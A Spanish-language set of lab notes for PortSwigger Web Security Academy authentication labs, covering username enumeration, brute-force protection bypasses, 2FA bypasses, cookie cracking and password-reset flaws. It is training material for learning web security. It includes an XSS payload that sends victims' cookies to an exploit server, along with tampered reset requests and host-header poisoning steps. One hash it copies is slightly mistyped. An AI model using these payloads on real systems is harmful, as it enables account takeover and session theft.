PortSwigger Authentication Brute Force 2FA Bypass Password Reset

Authentication

Vulnerabilidades en mecanismos de autenticación: fuerza bruta, bypass de 2FA, reset de contraseñas y stay-logged-in cookies.

Vulnerabilities in password-based login

Brute Force Attacks

Lab 1Username enumeration via different responses

Interceptar la consulta de login con Burp Suite, enviar al Intruder. Configurar tipo Sniper, seleccionar solo el usuario. Cargar lista de usuarios de PortSwigger. En Grep - Extract buscar Invalid username. Los resultados que digan Invalid password son los correctos.

Lab 2Username enumeration via subtly different responses

Mismo proceso que Lab 1. Las respuestas parecen iguales (Invalid username or password.) pero cuando el usuario existe no tiene el punto final. Luego fuerza bruta de contraseña buscando redirección o ausencia de mensaje de error.

Lab 3Username enumeration via response timing

Agregar cabecera X-Forwarded-For con IP para evitar bloqueo. Password muy larga para que el procesamiento demore cuando el usuario existe. Tipo de ataque Pitchfork con dos listas: últimos dígitos de IP y nombres de usuario. Ver columna Response received para el tiempo.

Flawed brute-force protection

Lab 4Broken brute-force protection, IP block

La IP se bloquea cada 1 minuto. Usar ataque Pitchfork intercalando credenciales válidas (wiener:peter) con las de carlos para resetear el contador. Buscar código 302 para el usuario carlos.

Lab 5Username enumeration via account lock

Usar tipo Cluster Bomb. Payload 1: lista de usuarios. Payload 2: lista simple con valores nulos (agregar vacío). El usuario con mayor longitud de respuesta es el correcto. Luego buscar contraseña esperando ausencia de mensaje de error.

User rate limiting

Lab 6Broken brute-force protection, multiple credentials per request

La consulta envía datos como JSON. Modificar el parámetro password para que sea un array de strings con todas las contraseñas posibles.

Vulnerabilities in multi-factor authentication

Bypassing two-factor authentication

Lab 72FA simple bypass

Ingresar con wiener:peter, obtener el código 2FA, entrar a My profile y copiar el URL. Cerrar sesión, ingresar con carlos:montoya. Cuando pida el segundo factor, navegar directamente al URL copiado.

Flawed two-factor verification logic

Lab 82FA broken logic

Iniciar sesión con wiener:peter interceptando. Modificar verify=carlos para enviar el segundo factor a carlos. Mandar al Intruder con verify=carlos y hacer fuerza bruta del código de 4 dígitos. Buscar código 302.

Brute-forcing 2FA verification codes

Lab 92FA bypass using a brute-force attack

Configurar una macro en Project Options → Sessions → Session Handling Rules con las 3 consultas de login (login page, credentials, 2FA page). La última consulta (envío del código) se usa para fuerza bruta en Intruder. Usar un solo hilo para evitar errores de sesión.

Vulnerabilities in other authentication mechanisms

Keeping users logged in

Lab 10Brute-forcing a stay-logged-in cookie

La cookie stay-logged-in usa el formato base64(user:MD5(password)). En el Intruder usar la cookie stay-logged-in con Payload Processing: Hash MD5 → Prefix carlos: → Encode Base64.

$ echo "d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw" | base64 -d
wiener:51dc30ddc473d43a6011e9ebba6ca770

$ hashid 51dc30ddc473d32a6011e92bba6ca770
[+] MD5
Lab 11Offline password cracking

La caja de comentarios es vulnerable a XSS. Inyectar payload para exfiltrar la cookie de carlos al servidor de exploit. Decodificar la cookie stay-logged-in y crackear el hash MD5 con CrackStation. Luego eliminar la cuenta de carlos.

<script>document.location='https://exploit-SERVER.web-security-academy.net/exploit/'+document.cookie</script>

Resetting user passwords

Resetting passwords using a URL

Lab 12Password reset broken logic

Usar Forgot Password? con el correo de wiener. Interceptar la consulta al enviar la nueva contraseña y cambiar el parámetro username=carlos.

temp-forgot-password-token=TOKEN&username=carlos&new-password-1=miau12345&new-password-2=miau12345
Lab 13Password reset poisoning via middleware

Usar Forgot password para carlos interceptando el paquete. Agregar la cabecera X-Forwarded-Host con el servidor de exploit. El token llegará a los logs del servidor exploit. Usar ese token para resetear la contraseña de carlos.

Changing user passwords

Lab 14Password brute-force via password change

El formulario de cambio de contraseña envía el nombre de usuario en un hidden input. Si las nuevas contraseñas no coinciden pero la actual es correcta, retorna New passwords do not match. Hacer fuerza bruta del campo current-password buscando esa respuesta.